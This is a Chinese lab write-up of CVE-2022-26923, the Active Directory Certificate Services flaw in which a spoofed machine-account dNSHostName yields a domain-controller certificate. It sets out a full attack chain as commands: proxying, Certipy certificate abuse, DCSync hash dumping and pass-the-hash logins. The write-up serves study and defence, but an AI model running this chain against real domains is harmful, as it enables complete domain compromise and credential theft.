本文介绍微软最近爆出的域内权限提升漏洞CVE-2022–26923,漏洞触发位置位于AD CS组件中,在一些大型企业中普遍存在AD CS,具有一定危害。本文从漏洞介绍开始,到本地环境搭建,主要就是AD CS的安装(这部分可自行略过),接着就是漏洞的分析以及复现,在复现中考虑到实际情况,带入了一些自己的思考,并对一些脚本进行魔改。最后,笔者才疏学浅有错误望指出~
0x01 漏洞介绍
漏洞简介
漏洞类型: 特权提升
漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)
漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。
漏洞详情:
CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability
CVE - CVE-2022-26923 (mitre.org)
Active Directory证书服务
Active Directory证书服务简称AD CS,是一种域内认证服务,是公钥基础设施PKI的一个实现,通过发行证书提供了文件加密、数字签名、身份验证等功能。其中,证书颁发机构(CA)负责颁发证书。
证书中包含的信息将一个主题身份与一个公共/私人密钥对结合起来。之后应用程序在操作时使用该密钥对作为该用户的身份证明。
证书申请流程大致过程:
- 客户端产生密钥对
- 客户端发送证书请求(CSR)给企业CA服务器
- CA检查CSR中的内容,判断是否许可获得证书
- CA通过许可,下发使用CA私钥签名的证书
一些概念解释
PKI:公钥基础设施,实现证书的产生、管理、存储、分发和撤销等功能
PKINIT:初始认证的公钥加密技术(可以在Kerberos认证的初始阶段中使用)
0x02 环境搭建
可直接跳过此搭建部分
环境信息:
域控Win2012
主机名: DC-WIN2012
IP: 10.10.1.10
主机Win7
主机名: WIN7
IP: 10.10.1.100
10.10.100.154(外网)
首先准备一台已搭建域服务的主机,这里选择Win2012版本。默认情况下AD CS组件未安装,因此参考此篇文章进行AD CS搭建。此外我还准备了一台WIN7作为域内主机模拟实际情况。
1 AD CS安装
点击添加角色和功能
,默认下一步直到下图:
添加服务
2 AD CS配置
安装完成后需要进行
选择服务,之前安装的三个服务
指定CA名称,默认为redteam-DC-WIN2012-CA
服务器身份验证证书
开始配置
监测配置是否成功:在证书颁发机构中存在证书模板
0x03 漏洞分析
我们可以在证书模板中看到有多种类型,其中用户模板和计算机模板(本文重点)都允许客户端身份的验证。这意味着颁发的证书可以通过PKINIT Kerberos扩展用于针对KDC的身份验证。
在证书申请中,一个关键点就是申请者身份证明,用户账户的身份证明使用到用户主体名称(User Principal Name, UPN)作为证明。而基于计算机模板的机器账户将使用dNSHostName属性作为证明。
用户账户的证书申请 | UPN
用户账户根据模板申请证书时,用户账户的UPN将被嵌入到证书中进行识别。当我们使用该证书进行认证时,KDC会尝试将证书中的UPN映射到用户身上
用户证书模板的msPKI-Certificate-Name-Flag
属性存在一个CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
标志位,用于指示UPN标志
MS-CRTD: msPKI-Certificate-Name-Flag Attribute | Microsoft Docs
那我们这里是否可以通过修改UPN进行身份伪造呢,答案是否定的,因为UPN是唯一的,域内不允许出现两个一样的UPN,做如下修改UPN的尝试:当我们进行修改时会提示约束冲突
# 申请用户SPN
certipyreq'redteam.com/user001:123.com@DC-WIN2012.redteam.com'-caredteam-DC-WIN2012-CA-template'User'
机器账户的证书申请 | dNSHostName
基于计算机模板的机器账户进行证书申请时需要借助dNSHostName属性进行验证。CA下发的证书中会嵌入计算机的DNS属性。
同样的,我们会想能否修改dNSHostName来伪造身份呢,答案是可行的,究其原因在于dNSHostName并不具有唯一性,这一点可以在官方文档中翻阅到:[MS-ADTS]: Uniqueness Constraints | Microsoft Docs ,其中只提到了UPN和SPN的唯一性。
在证书模板的msPKI-Certificate-Name-Flag
属性还存在一个CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
标志位,其指示CA将从Active Directory中请求者用户对象的DNS属性获得的值添加到已颁发证书的主题备用名称中。
域控SPN唯一性
通过上面的分析,漏洞点就呼之欲出了:可以通过修改dNSHostName来伪造高权限用户,直接尝试修改dNSHostName测试下。
将TEST$机器账户的dNSHostName更改为DC-WIN2012.redteam.com
,出现如下错误:
原因是SPN的唯一性,当我们试图将TEST\$机器账户的dNSHostName属性更新为DC-WIN2012.redteam.com
时,域控制器试图更新SPN属性,该属性将被更新为包括RestrictedKrbHost/DC-WIN2012.redteam.com
和HOST/DC-WIN2012.redteam.com
,这将与域控制器的SPN属性冲突。
因此,通过更新TEST\$机器账户的dNSHostName属性,当域控制器也试图更新TEST\$机器账户的SPN时,我们间接地造成了约束性违反。
我们注意到,当我们更新dNSHostName时,只有两个值被更新和检查,即RestrictedKrbHost/TEST.redteam.com
和HOST/TEST.redteam.com
,其中包含dNSHostName属性值,解决措施就是删除TEST\$机器账户中这两个SPN值,在域控同步更新时不造成冲突
此时,我们使用TEST\$机器账户申请证书时,颁发的证书中将会包含填充篡改后的dNSHostName,即DC-WIN2012.redteam.com
。TEST\$机器账户申请的证书就具备域控的身份了。
0x04 漏洞复现
0 前置工作
实战环境下,攻击机也不能直接访问域控,只有在获取到域内用户后搭建代理才可以访问,因此这里先简单使用chisel搭建代理
# chisel搭建代理
chisel.exe server -p 9011 --socks5
./chisel client 10.10.100.174:9011 sock5
# proxychains修改配置
socks5 127.0.0.1 1080
# 测试
proxychains nmap -sV -sT -p 80 10.10.1.10
已知信息:
域控Win2012
主机名: DC-WIN2012
IP: 10.10.1.10
域内主机Win7
主机名: WIN7
IP: 10.10.1.100
10.10.100.154(外网)
域名: redteam.com
用户: user001 密码: 123.com
1 获取CA名称
0x01 任意域内主机查询
# 查看是否存在证书驱动器
Get-PSDrive cert | ft -AutoSize
# 列出本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root\
参数解释:
Get-PSDrive:列出当前计算机中的所有驱动器
ft -AutoSize:设置format格式
参考:
How to get the Windows certificate details using PowerShell? (tutorialspoint.com)
0x02 域控上查看
条件:
- 域控上查询
certutil
certutil -config - -ping
0x03 合理猜测
根据域控主机名和域名进行猜测
域控主机名:DC-WIN2012
域名:redteam.com
CA名称:redteam-DC-WIN2012-CA
2 构造合适的机器账户
0x01 魔改addcomputer.py创建机器账户
在获取到普通域用户的权限后,使用Impacket工具包中的addcomputer.py
脚本创建一个机器账户,命名为WUHU,密码设置为Passw0rd
在上述分析中,需要修改部分SPN值,而原版本的addcomputer.py脚本中spn设置了RestrictedKrbHost/[COMPUTERNAME].redteam.com
和HOST/[COMPUTERNAME].redteam.com
两个SPN值,这里需要对addcomputer.py
进行魔改下,将这两个SPN值注释掉,避免间接约束
接着,并且修改机器账户的dNSHostName,用于伪造域控机器账户DC-WIN2012$
,其中DC-WIN2012
是域控主机名
魔改好后,直接使用addcomputer.py添加机器账户,命令如下:
# 创建机器账户
proxychains python3addcomputer.pyredteam.com/user001:123.com-methodLDAPS-computer-nameWUHU\$-computer-passPassw0rd-dc-ipDC-WIN2012.redteam.com
0x02 使用bloodyAD工具
bloodyAD工具是一个Active Directory权限提升框架
判断用户能否创建机器账户
# 判断用户能否创建机器账户
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota
返回时表示该用户最多可以创建10个机器账户
创建机器账户
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd'
检查下,确实创建成功,不过没有预先设置dNSHostName和SPN
添加机器账户的dNSHostName
需要指定可辩别名称(DistinguishedName, DN)
,
# 设置DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]'
# 尝试修改SPN【无效】
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=TEST,CN=Computers,DC=redteam,DC=com' servicePrincipalName 'test1/test2'
查询机器账户的DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname
3 申请证书
使用Certipy工具申请基于计算机模板的证书,这里的redteam-DC-WIN2012-CA
在前面的AD CS配置中有设置到
#使用Certipy为TEST$账户申请证书
proxychains certipyreq'redteam.com/WUHU$:Passw0rd@DC-WIN2012.redteam.com'-ca'redteam-DC-WIN2012-CA'-template'Machine'
4 检索Hash生成票据
使用该证书进行认证,Certipy工具检索到了DC-WIN2012$
的NTLM Hash。
proxychains certipyauth-pfxdc-win2012.pfx-usernameDC-WIN2012$-domainredteam.com-dc-ip10.10.1.10
5 DCSync攻击
接着我们可以使用DC-WIN2012$
NTLM Hash来进行DCSync攻击,以转储所有用户的哈希值。
使用Impacket工具包中的secretsdump.py
脚本执行DCSync攻击,导出域内用户Hash
# 方法一:票据导出
export KRB5CCNAME=/root/Desktop/dc-win2012.ccache
proxychains python3secretsdump.py-kredteam.com/DC-WIN2012\$@dc-win2012.redteam.com-no-pass-just-dc
# 方法二:Hash导出
proxychains python3 secretsdump.py -hashes :f460feac55234529a3188ecc8438d8fe redteam.com/DC-WIN2012\$@DC-WIN2012.redteam.com -no-pass -just-dc
可以得到administrator的Hash值,至此已经得到了最高的administrator权限
Administrator:500:aad3b435b51404eeaad3b435b51404ee:83a140d89e42046e8daf5394d386a69a:::
6 后渗透
之后两种思路:
- 直接使用administrator的NTLM Hash远程登录
- 通过S4U2Self扩展协议申请服务票据,如CIFS等
第一种:直接远程登录
使用Impacket工具包中的wmiexec.py脚本
# Hash登录
python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.com/administrator@10.10.1.10 -dc-ip 10.10.1.10
第二种:票据登录
使用到PKINITtools工具中的gets4uticket.py脚本
# 申请票据,保存为Admin.ccache
python3gets4uticket.pykerberos+ccache://redteam.com\\DC-WIN2012\$:dc-win2012.ccache@dc-win2012.redteam.comcifs/dc-win2012.redteam.com@redteam.comAdministrator@redteam.comAdmin.ccache-v
# 导入票据
export KRB5CCNAME=/root/Desktop/Admin.ccache
# 使用票据登录
proxychains python3 wmiexec.py -k redteam.com/administrator@DC-WIN2012.redteam.com -no-pass -dc-ip 10.10.1.10
后续还可以进行权限维持:黄金票据、白银票据等,这里就不展开了,留给读者们动手尝试
0x05 参考文章
- 本文作者: xigua
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1578
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!